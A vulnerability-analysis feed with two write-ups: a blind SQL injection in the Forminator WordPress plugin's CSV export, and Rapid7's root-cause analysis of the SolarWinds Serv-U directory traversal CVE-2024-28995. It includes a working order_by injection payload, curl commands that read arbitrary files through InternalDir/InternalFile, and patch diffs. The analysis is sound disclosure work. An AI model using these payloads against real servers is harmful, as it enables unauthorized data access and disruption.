Activity Feed

1
Ratings
  • Attacker Value
    Very Low
  • Exploitability
    Very High
Technical Analysis

Forminator Wordpress plugin versions prior to 1.29.3 are vulnerable to SQL injection. After investigating the changes made in version 1.29.3, it is easy to see that no input sanitization was done on the order_by and order parameters before being concatenated to the SQL statement. This code lies in the get_filter_entries() function in library/model/class-form-entry-model.php:

		$order_by = 'ORDER BY entries.entry_id';
		if ( isset( $filters['order_by'] ) ) {
			$order_by = 'ORDER BY ' . esc_sql( $filters['order_by'] ); // unesacaped.
		}
		$order = 'DESC';
		if ( isset( $filters['order'] ) ) {
			$order = esc_sql( $filters['order'] );
		}

		// group.
		$group_by = 'GROUP BY entries.entry_id';

		$sql     = "SELECT entries.`entry_id` FROM {$table_name} entries
						INNER JOIN {$entries_meta_table_name} AS metas
    					ON (entries.entry_id = metas.entry_id)
 						WHERE {$where} {$group_by} {$order_by} {$order}";
		$results = $wpdb->get_results( $wpdb->prepare( $sql, $form_id ) ); // phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared

This function is called by _prepare_export_data() in library/class-export.php when exporting Quiz or Form data as a CSV or sent as an attachment via email. This code path is reached when filters like order or order_by are used in the query.

To demonstrate this, authenticate as an admin to access the Wordpress Admin Dashboard, go to /wp-admin/admin.php?page=forminator-entries, click on the filter button on the right hand side of the submission list, add some filters and click APPLY. The ones that interest us are Sort By and Sort Order. Then, click on EXPORT, select Apply Submission Filters in the Manual Exports section and click DOWNLOAD CSV.

This will send the following POST request:

POST /wp-admin/admin.php?page=forminator-entries&form_type=forminator_forms&form_id=7&entries-action&date_range&min_id&max_id&search&order_by=entries.date_created&order=DESC&entry_status=all&entries-action-bottom HTTP/1.1
Host: localhost:8080
Content-Length: 96
…[SNIP]...

forminator_export=1&form_id=7&form_type=cform&_forminator_nonce=ed27a59f8a&submission-filter=yes

It should return the submission entries in CSV format.

Now, let’s inject some SQL commands in the order_by parameter. According to the code, the vulnerable SQL query should not return anything in the response and we’ll need to go with blind SQLi. Since it will be concatenated to the ORDER BY clause, we will use the following query:

1,(select if((1=1),1,(select 1 union select 2)))

If the if condition is true, the submission entries should be returned. If it is false, an empty list should be returned:

  • True (1=1)
    True result
  • False (1=0)
    False result

More precisely, it is an Blind Error-Based SQLi, since a false statement will fail with an SQL error: ERROR 1242 (21000): Subquery returns more than 1 row

We now confirmed that SQLi is possible.

One big caveat to this attack is that each time a CSV is required, Forminator updates the forminator_exporter_log Wordpress option with a timestamp:

 124         $count = $export_data->entries_count;
 125         // save the time for later uses.
 126         $logs = get_option( 'forminator_exporter_log', array() );
 127         if ( ! isset( $logs[ $model->id ] ) ) {
 128             $logs[ $model->id ] = array();
 129         }
 130         $logs[ $model->id ][] = array(
 131             'time'  => current_time( 'timestamp' ),
 132             'count' => $count,
 133         );
 134         update_option( 'forminator_exporter_log', $logs );

This will cause Wordpress to update the forminator_exporter_log option value in the wp_options table each time a request is received. This code is not overwriting the previous timestamp but actually adding a new timestamp to the option each time a CSV is required. As a result, the forminator_exporter_log option value will increase in size each time it is updated.

This is not a big problem per se, but if binary logging is enabled (it is enabled by default from MySQL 8.0), each database update will add an event to the binary log file (binlog.*). Since a blind SQLi usually requires a lot of queries, the binary log files will increase exponentially and quickly fill out all the disk space on the MySQL server. This will end up causing a DoS (it happened to me many times while investigating).

To conclude, this vulnerability is relatively easy to exploit but requires privileged access to Wordpress in order to reach the Forminator CSV export functionality. Even with these privileges, it is very likely to cause a DoS before any useful data is retrieved from the database.

1
Ratings
  • Attacker Value
    High
  • Exploitability
    High
2
Ratings
  • Attacker Value
    Very High
  • Exploitability
    Very High
Technical Analysis

Based upon our Rapid7 Analysis, I have rated the attacker value of this vulnerability as Very High, as an unauthenticated attacker can read files from a server, and the vulnerable product is a file tranfser solution. I have rated the exploitability as Very High, as exploitation is trivial.

Technical Analysis

Overview

On June 5, 2024, SolarWinds published an advisory for CVE-2024-28995, a high-severity directory traversal vulnerability affecting their file transfer solution Serv-U. The vulnerability was discovered by researcher Hussein Daher of Web Immunify.

According to the vendor, the following versions of Serv-U are affected, running on either Windows or Linux:

  • Serv-U FTP Server 15.4
  • Serv-U Gateway 15.4
  • Serv-U MFT Server 15.4

As per the vendor documentation, Serv-U version 15.3.2 and earlier will reach end of life in February 2025, and all versions below this have reached end of life and are unsupported.

Our analysis was conducted on a Windows Server 2022 system, running SolarWinds Serv-U File Server (64-bit) version 15.4.2.126. We also confirmed exploitation against Serv-U File Server (64-bit) version 15.4.2.126 running on Linux. In both cases, all default installation options were used. When running Serv-U on either Windows or Linux, a new Serv-U File transfer and File Sharing “Domain” was created to reflect a real world deployment.

We have verified the vendor supplied hotfix 15.4.2 Hotfix 2 (version 15.4.2.157) successfully remediates this vulnerability.

Analysis

The Serv-U application is largely a native code application written in what appears to be C++. The majority of the code is located in the Serv-U.dll binary. We downloaded a vulnerable version of the application, version 15.4.2.126, and the hotfix version 15.4.2.157 which contains the patch for CVE-2024-28995.

We analyzed both binaries with IDA Pro and then performed a binary diff using BinDiff. Looking at the BinDiff “function matches” results, we can see that only a single function has been modified in the hotfix.

diff1.png

Both versions of the modified function sub_18016DC30, which has the same address in both binaries, can be decompiled and compared to get a better understanding of what has changed. Below is the full output of the functions changes.

diff --git a/func_vuln.c b/func_patched.c
index a83d349..8a1bd0c 100644
--- a/func_vuln.c
+++ b/func_patched.c
@@ -25,24 +25,23 @@ CSUString *__fastcall sub_18016DC30(CSUString *this, __int64 a2, const wchar_t *
   char v29; // bl
   __int64 v30; // rax
   __int64 v31; // rax
-  __int64 v32; // rax
-  void **v34; // [rsp+38h] [rbp-38h] BYREF
-  char v35[8]; // [rsp+40h] [rbp-30h] BYREF
-  void **v36; // [rsp+48h] [rbp-28h] BYREF
-  wchar_t *v37; // [rsp+50h] [rbp-20h] BYREF
-  char v38[24]; // [rsp+58h] [rbp-18h] BYREF
+  void **v33; // [rsp+38h] [rbp-38h] BYREF
+  char v34[8]; // [rsp+40h] [rbp-30h] BYREF
+  void **v35; // [rsp+48h] [rbp-28h] BYREF
+  wchar_t *v36; // [rsp+50h] [rbp-20h] BYREF
+  char v37[24]; // [rsp+58h] [rbp-18h] BYREF
 
-  ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>(&v37);
-  v36 = &CRhinoString::`vftable';
-  std::vector<void *>::_Orphan_range(&v36);
-  v36 = (void **)&CSUString::`vftable';
-  std::vector<void *>::_Orphan_range(&v36);
+  ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>(&v36);
+  v35 = &CRhinoString::`vftable';
+  std::vector<void *>::_Orphan_range(&v35);
+  v35 = (void **)&CSUString::`vftable';
+  std::vector<void *>::_Orphan_range(&v35);
   PLH::VTableSwapHook::VTableSwapHook(this, v7, v8);
-  if ( (unsigned __int8)sub_1801A74A8(&v36, L"Web Client") )
+  if ( (unsigned __int8)sub_1801A74F8(&v35, L"Web Client") )
   {
     Manager = ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::GetManager(&qword_18046D5F8);
     ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>(
-      &v34,
+      &v33,
       Manager);
     v10 = -1LL;
     do
@@ -50,91 +49,88 @@ CSUString *__fastcall sub_18016DC30(CSUString *this, __int64 a2, const wchar_t *
     while ( aWebClient_0[v10] );
 LABEL_4:
     ATL::CSimpleStringT<wchar_t,1>::Concatenate(
-      &v34,
+      &v33,
       qword_18046D5F8,
-      *(unsigned int *)(qword_18046D5F8 - 16),
+      *((unsigned int *)qword_18046D5F8 - 4),
       L"Web Client",
       v10);
-    ((void (__fastcall *)(void ***, void ***))v36[20])(&v36, &v34);
-LABEL_46:
-    ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::~CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>(&v34);
-    goto LABEL_47;
+    ((void (__fastcall *)(void ***, void ***))v35[20])(&v35, &v33);
+    ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::~CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>(&v33);
+    goto LABEL_48;
   }
-  if ( (unsigned __int8)sub_1801A74A8(&v36, L"Admin") )
+  if ( (unsigned __int8)sub_1801A74F8(&v35, L"Admin") )
   {
-    if ( a4 )
+    if ( !a4
+      || (*(__int64 (__fastcall **)(__int64))(*(_QWORD *)a4 + 768LL))(a4)
+      && (v11 = (*(__int64 (__fastcall **)(__int64))(*(_QWORD *)a4 + 768LL))(a4), !(unsigned int)sub_1800830B0(v11)) )
     {
-      if ( !(*(__int64 (__fastcall **)(__int64))(*(_QWORD *)a4 + 768LL))(a4)
-        || (v11 = (*(__int64 (__fastcall **)(__int64))(*(_QWORD *)a4 + 768LL))(a4), (unsigned int)sub_1800830B0(v11)) )
-      {
-        v12 = ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::GetManager(&qword_18046D5F8);
-        ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>(
-          &v34,
-          v12);
-        v13 = -1LL;
-        do
-          ++v13;
-        while ( aAdmin_1[v13] );
-        ATL::CSimpleStringT<wchar_t,1>::Concatenate(
-          &v34,
-          qword_18046D5F8,
-          *(unsigned int *)(qword_18046D5F8 - 16),
-          L"Admin",
-          v13);
-        ((void (__fastcall *)(void ***, void ***))v36[20])(&v36, &v34);
-        goto LABEL_46;
-      }
+      a3 = L"404NotFound.htm";
+      v14 = ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::GetManager(&qword_18046D5F8);
+      ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>(
+        &v33,
+        v14);
+      v10 = -1LL;
+      do
+        ++v10;
+      while ( aWebClient_0[v10] );
+      goto LABEL_4;
     }
-    a3 = L"404NotFound.htm";
-    v14 = ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::GetManager(&qword_18046D5F8);
+    v12 = ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::GetManager(&qword_18046D5F8);
     ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>(
-      &v34,
-      v14);
-    v10 = -1LL;
+      &v33,
+      v12);
+    v13 = -1LL;
     do
-      ++v10;
-    while ( aWebClient_0[v10] );
-    goto LABEL_4;
+      ++v13;
+    while ( aAdmin_1[v13] );
+    ATL::CSimpleStringT<wchar_t,1>::Concatenate(
+      &v33,
+      qword_18046D5F8,
+      *((unsigned int *)qword_18046D5F8 - 4),
+      L"Admin",
+      v13);
+    ((void (__fastcall *)(void ***, void ***))v35[20])(&v35, &v33);
+    ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::~CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>(&v33);
   }
-  if ( (unsigned __int8)sub_1801A74A8(&v36, L"Common") )
+  else if ( (unsigned __int8)sub_1801A74F8(&v35, L"Common") )
   {
     v15 = ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::GetManager(&qword_18046D5F8);
     ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>(
-      &v34,
+      &v33,
       v15);
     v16 = -1LL;
     do
       ++v16;
     while ( aCommon_0[v16] );
     ATL::CSimpleStringT<wchar_t,1>::Concatenate(
-      &v34,
+      &v33,
       qword_18046D5F8,
-      *(unsigned int *)(qword_18046D5F8 - 16),
+      *((unsigned int *)qword_18046D5F8 - 4),
       L"Common",
       v16);
-    ((void (__fastcall *)(void ***, void ***))v36[20])(&v36, &v34);
-    goto LABEL_46;
+    ((void (__fastcall *)(void ***, void ***))v35[20])(&v35, &v33);
+    ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::~CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>(&v33);
   }
-  if ( (unsigned __int8)sub_1801A74A8(&v36, L"FVJV") )
+  else if ( (unsigned __int8)sub_1801A74F8(&v35, L"FVJV") )
   {
     v17 = ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::GetManager(&qword_18046D5F8);
     ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>(
-      &v34,
+      &v33,
       v17);
     v18 = -1LL;
     do
       ++v18;
     while ( aFvjv_1[v18] );
     ATL::CSimpleStringT<wchar_t,1>::Concatenate(
-      &v34,
+      &v33,
       qword_18046D5F8,
-      *(unsigned int *)(qword_18046D5F8 - 16),
+      *((unsigned int *)qword_18046D5F8 - 4),
       L"FVJV",
       v18);
-    ((void (__fastcall *)(void ***, void ***))v36[20])(&v36, &v34);
-    goto LABEL_46;
+    ((void (__fastcall *)(void ***, void ***))v35[20])(&v35, &v33);
+    ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::~CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>(&v33);
   }
-  if ( (unsigned __int8)sub_1801A74A8(&v36, L"%CUSTOM_HTML_DIR%") && (dword_18046D748 & 0x20000000) != 0 )
+  else if ( (unsigned __int8)sub_1801A74F8(&v35, L"%CUSTOM_HTML_DIR%") && (dword_18046D748 & 0x20000000) != 0 )
   {
     v19 = sub_180153E60(a4);
     v20 = (CDomainAttrs *)v19;
@@ -146,98 +142,100 @@ LABEL_46:
               0LL,
               0LL,
               0LL);
-      if ( CDomainAttrs::GetUseCustomHTML(v20) && v21 && !(unsigned __int8)sub_1801A7484(v21 + 106) )
+      if ( CDomainAttrs::GetUseCustomHTML(v20) && v21 && !(unsigned __int8)sub_1801A74D4(v21 + 106) )
       {
-        v22 = (__int64)v36;
+        v22 = (__int64)v35;
         v23 = (*(__int64 (__fastcall **)(__int64))(*(_QWORD *)v21 + 448LL))(v21);
-        (*(void (__fastcall **)(void ***, __int64))(v22 + 152))(&v36, v23);
+        (*(void (__fastcall **)(void ***, __int64))(v22 + 152))(&v35, v23);
       }
     }
   }
-  else
+  else if ( (unsigned __int8)sub_1801A74F8(&v35, L"Sidecar") && (dword_18046D748 & 0x40000000) != 0 )
   {
-    if ( (unsigned __int8)sub_1801A74A8(&v36, L"Sidecar") && (dword_18046D748 & 0x40000000) != 0 )
-    {
-      v24 = ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::GetManager(&qword_18046D5F8);
-      ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>(
-        &v34,
-        v24);
-      v25 = -1LL;
-      do
-        ++v25;
-      while ( aSidecar_0[v25] );
-      ATL::CSimpleStringT<wchar_t,1>::Concatenate(
-        &v34,
-        qword_18046D5F8,
-        *(unsigned int *)(qword_18046D5F8 - 16),
-        L"Sidecar",
-        v25);
-      ((void (__fastcall *)(void ***, void ***))v36[20])(&v36, &v34);
-      goto LABEL_46;
-    }
-    if ( (unsigned __int8)sub_1801A74A8(&v36, L"Demo") && (byte_18046D5D1 & 1) != 0 )
-    {
-      v26 = ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::GetManager(&qword_18046D5F8);
-      ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>(
-        &v34,
-        v26);
-      v27 = -1LL;
-      do
-        ++v27;
-      while ( aDemo[v27] );
-      ATL::CSimpleStringT<wchar_t,1>::Concatenate(
-        &v34,
-        qword_18046D5F8,
-        *(unsigned int *)(qword_18046D5F8 - 16),
-        L"Demo",
-        v27);
-      ((void (__fastcall *)(void ***, void ***))v36[20])(&v36, &v34);
-      goto LABEL_46;
-    }
-    if ( !(unsigned __int8)sub_1801A74A8(&v36, L"WebClientNew") )
-    {
-      v32 = sub_18005C6CC(&v34, &qword_18046D5F8, &v37);
-      ((void (__fastcall *)(void ***, __int64))v36[20])(&v36, v32);
-      goto LABEL_46;
-    }
-    ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>(v35);
-    v34 = &CRhinoString::`vftable';
-    std::vector<void *>::_Orphan_range(&v34);
-    v34 = (void **)&CSUString::`vftable';
-    std::vector<void *>::_Orphan_range(&v34);
-    v28 = sub_1801A6BD4(&v34, v38);
-    v29 = sub_1801A7484(v28);
-    `std::locale::global'::`1'::dtor$2(v38);
-    CSUString::~CSUString((CSUString *)&v34);
+    v24 = ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::GetManager(&qword_18046D5F8);
+    ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>(
+      &v33,
+      v24);
+    v25 = -1LL;
+    do
+      ++v25;
+    while ( aSidecar_0[v25] );
+    ATL::CSimpleStringT<wchar_t,1>::Concatenate(
+      &v33,
+      qword_18046D5F8,
+      *((unsigned int *)qword_18046D5F8 - 4),
+      L"Sidecar",
+      v25);
+    ((void (__fastcall *)(void ***, void ***))v35[20])(&v35, &v33);
+    ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::~CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>(&v33);
+  }
+  else if ( (unsigned __int8)sub_1801A74F8(&v35, L"Demo") && (byte_18046D5D1 & 1) != 0 )
+  {
+    v26 = ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::GetManager(&qword_18046D5F8);
+    ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>(
+      &v33,
+      v26);
+    v27 = -1LL;
+    do
+      ++v27;
+    while ( aDemo[v27] );
+    ATL::CSimpleStringT<wchar_t,1>::Concatenate(
+      &v33,
+      qword_18046D5F8,
+      *((unsigned int *)qword_18046D5F8 - 4),
+      L"Demo",
+      v27);
+    ((void (__fastcall *)(void ***, void ***))v35[20])(&v35, &v33);
+    ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::~CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>(&v33);
+  }
+  else if ( (unsigned __int8)sub_1801A74F8(&v35, L"WebClientNew") )
+  {
+    ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>(v34);
+    v33 = &CRhinoString::`vftable';
+    std::vector<void *>::_Orphan_range(&v33);
+    v33 = (void **)&CSUString::`vftable';
+    std::vector<void *>::_Orphan_range(&v33);
+    v28 = sub_1801A6C24(&v33, v37);
+    v29 = sub_1801A74D4(v28);
+    `std::locale::global'::`1'::dtor$2(v37);
+    CSUString::~CSUString((CSUString *)&v33);
     if ( !v29 )
     {
       v30 = ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::GetManager(&qword_18046D5F8);
       ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>(
-        &v34,
+        &v33,
         v30);
       v31 = -1LL;
       do
         ++v31;
       while ( aWebclientnew[v31] );
       ATL::CSimpleStringT<wchar_t,1>::Concatenate(
-        &v34,
+        &v33,
         qword_18046D5F8,
-        *(unsigned int *)(qword_18046D5F8 - 16),
+        *((unsigned int *)qword_18046D5F8 - 4),
         L"WebClientNew",
         v31);
-      ((void (__fastcall *)(void ***, void ***))v36[20])(&v36, &v34);
-      goto LABEL_46;
+      ((void (__fastcall *)(void ***, void ***))v35[20])(&v35, &v33);
+      ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::~CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>(&v33);
     }
   }
-LABEL_47:
-  if ( !(unsigned __int8)sub_1801A7484(&v36) )
+  else
+  {
+    CSUString::MakeDirSeparator((CSUString *)&v35);
+    if ( (unsigned int)sub_1801A6A18(&v35, L"\\..\\", 0LL) == -1 )
+      CSUString::BuildLocalPath((CSUString *)&v35, qword_18046D5F8);
+    else
+      ATL::CSimpleStringT<wchar_t,1>::Empty(&v36);
+  }
+LABEL_48:
+  if ( !(unsigned __int8)sub_1801A74D4(&v35) )
   {
     (*(void (__fastcall **)(CSUString *, const wchar_t *))(*(_QWORD *)this + 152LL))(this, a3);
     CSUString::MakeDirSeparator(this);
-    CSUString::BuildLocalPath(this, v37);
-    if ( (unsigned int)sub_1801A69C8(this, L"\\..\\", 0LL) != -1 )
+    CSUString::BuildLocalPath(this, v36);
+    if ( (unsigned int)sub_1801A6A18(this, L"\\..\\", 0LL) != -1 )
       ATL::CSimpleStringT<wchar_t,1>::Empty((char *)this + 8);
   }
-  CSUString::~CSUString((CSUString *)&v36);
+  CSUString::~CSUString((CSUString *)&v35);
   return this;
 }

The modified function processes a file path. We can see the patched function has the addition of the following check.

  else
  {
    CSUString::MakeDirSeparator((CSUString *)&v35); // replace '/' characters with '\' character
    if ( (unsigned int)sub_1801A6A18(&v35, L"\\..\\", 0LL) == -1 ) // CString::Find
      CSUString::BuildLocalPath((CSUString *)&v35, qword_18046D5F8);
    else
      ATL::CSimpleStringT<wchar_t,1>::Empty(&v36);
  }

The path is checked to see if it contains a double dot path segment (\..\), and if found the path will be cleared. Seeing the addition of a check like this in the patch is a strong indication that this function is the root cause of the directory traversal vulnerability.

When we investigate the usage of this vulnerable function, herein renamed to vulnerable_path_traversal_function, we see a pattern emerge of how this function is used. For example:

      get_request_parameter((__int64)v51, (QAnimationDriver *)v55, (__int64)L"InternalDir");
      get_request_parameter((__int64)v51, (QAnimationDriver *)&v42, (__int64)L"InternalFile");
      v14 = vulnerable_path_traversal_function((CSUString *)&v36, v56, v43, a1);

In almost all uses of vulnerable_path_traversal_function, two HTTP request parameters named InternalDir and InternalFile are retrieved before calling into the vulnerable function.

Could simply providing these two request parameters trigger the directory traversal vulnerability and read an arbitrary file? A quick curl command shows we are looking in the right place…

Note: The ampersand (&) was escaped with a caret (^), as curl was run on a Windows host for every example throughout this analysis.

curl -i -k --path-as-is http://192.168.86.68/?InternalDir=/../../^&InternalFile=hax

The following file system access is captured by Procmon on the target server, and shows the path traversal vulnerability in operation.

procmon1.png

We can now modify the request’s path to reach an arbitrary file on the target server we want to read. On Windows, the Serv-U program data is stored in the folder C:\ProgramData\RhinoSoft\Serv-U\. In this folder, the file Serv-U-StartupLog.txt contains the applications logging information emitted during application startup. This file will contain the target Serv-U server’s version number among other things. This is a good file candidate to read in order to verify the vulnerability.

Reworking our curl request, we can now read the C:\ProgramData\RhinoSoft\Serv-U\Serv-U-StartupLog.txt file as shown below.

>curl -i -k --path-as-is http://192.168.86.68/?InternalDir=/../../../../ProgramData/RhinoSoft/Serv-U/^&InternalFile=Serv-U-StartupLog.txt
HTTP/1.0 200 OK
Server: Serv-U/15.4.2.126
Date: Tue, 11 Jun 2024 13:46:06 GMT
Accept-Encoding: deflate
X-Permitted-Cross-Domain-Policies: none
Connection: close
X-Frame-Options: sameorigin
X-Same-Domain: 1
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Referrer-Policy: same-origin
Strict-Transport-Security: max-age=31536000; includeSubDomains
Content-Type: text/plain
Pragma: no-cache
Cache-Control: no-cache,no-store,max-age=0,must-revalidate
Expires: -1
Set-Cookie: CsrfToken=; expires=Thu, 01-Jan-1970 00:00:01 GMT; SameSite=Strict; path=/;  httponly
Content-Length: 2119

[01] Tue 11Jun24 01:28:15 - Serv-U File Server:{B30A1319-9C51-8241-728C-F6FCD0C1BFD2} (64-bit) - Version 15.4 (15.4.2.126) - (C) 2024 SolarWinds Worldwide, LLC.  All rights reserved.
[01] Tue 11Jun24 01:28:15 - Build Date: Thursday 21 March 2024 09:33
[01] Tue 11Jun24 01:28:15 - Operating System: Windows Server 2012 64-bit; Version: 6.2.9200
[01] Tue 11Jun24 01:28:15 - Loaded graphics library.
[01] Tue 11Jun24 01:28:15 - Loaded ODBC database library.
[01] Tue 11Jun24 01:28:15 - Loaded SSL/TLS libraries.
[01] Tue 11Jun24 01:28:15 - Loaded SQLite library.
[01] Tue 11Jun24 01:28:15 - FIPS 140-2 mode is OFF.
[01] Tue 11Jun24 01:28:15 - Valid Server Identity found
[01] Tue 11Jun24 01:28:15 - WinSock Version 2.2 initialized.
[01] Tue 11Jun24 01:28:15 - HTTP server listening on port number 43958, IP 127.0.0.1
[01] Tue 11Jun24 01:28:15 - HTTP server listening on port number 43958, IP ::1
[01] Tue 11Jun24 01:33:46 - FTP server listening on port number 21, IP 0.0.0.0 (192.168.86.68, 127.0.0.1)
[01] Tue 11Jun24 01:33:46 - FTPS server listening on port number 990, IP 0.0.0.0 (192.168.86.68, 127.0.0.1)
[01] Tue 11Jun24 01:33:46 - SFTP (SSH) server listening on port number 22, IP 0.0.0.0 (192.168.86.68, 127.0.0.1)
[01] Tue 11Jun24 01:33:46 - HTTP server listening on port number 80, IP 0.0.0.0 (192.168.86.68, 127.0.0.1)
[01] Tue 11Jun24 01:33:46 - HTTPS server listening on port number 443, IP 0.0.0.0 (192.168.86.68, 127.0.0.1)
[01] Tue 11Jun24 01:33:46 - FTP server listening on port number 21, IP :: (fd00::f7d7:c17c:722:4a8f, fe80::201b:ef99:f597:397%5, ::1)
[01] Tue 11Jun24 01:33:46 - FTPS server listening on port number 990, IP :: (fd00::f7d7:c17c:722:4a8f, fe80::201b:ef99:f597:397%5, ::1)
[01] Tue 11Jun24 01:33:46 - SFTP (SSH) server listening on port number 22, IP :: (fd00::f7d7:c17c:722:4a8f, fe80::201b:ef99:f597:397%5, ::1)
[01] Tue 11Jun24 01:33:46 - HTTP server listening on port number 80, IP :: (fd00::f7d7:c17c:722:4a8f, fe80::201b:ef99:f597:397%5, ::1)
[01] Tue 11Jun24 01:33:46 - HTTPS server listening on port number 443, IP :: (fd00::f7d7:c17c:722:4a8f, fe80::201b:ef99:f597:397%5, ::1)

Success! We can now traverse the operating system’s file system via double dot path notation and read any file (including binary files), so long as we know the file path we want to read from.

It is interesting to note that we targeted a Windows system, but were able to pass forward slash (/) characters as the path separator in our HTTP request. On Windows, the backslash character (\) is the path separator. This appears to be a key part of the vulnerability’s root cause. Investigating further, we discover that an attempt is made in the vulnerable function to detect path traversal by looking for a path segment \..\ in the attacker supplied path. However if we supply path segments separated by a forward slash, e.g. /../, we can bypass this check. Later, in the function sub_180165B60, before a call to wfopen_s to actually open this file, a helper method is called which will replace all / characters with the underlying operating systems native path separator \. Therefore we can pass the check for a path traversal path segment by supplying a path that will initially be constructed as:

C:\Program Files\RhinoSoft\Serv-U\Client\/../../../../ProgramData/RhinoSoft/Serv-U/\Serv-U-StartupLog.txt

And then prior to being opened, the path will be transformed to:

C:\Program Files\RhinoSoft\Serv-U\Client\\..\..\..\..\ProgramData\RhinoSoft\Serv-U\\Serv-U-StartupLog.txt

Which is a valid path on Windows. On a Linux based target the technique is the same, however the path separators are reversed, so \ will be replaced with /.

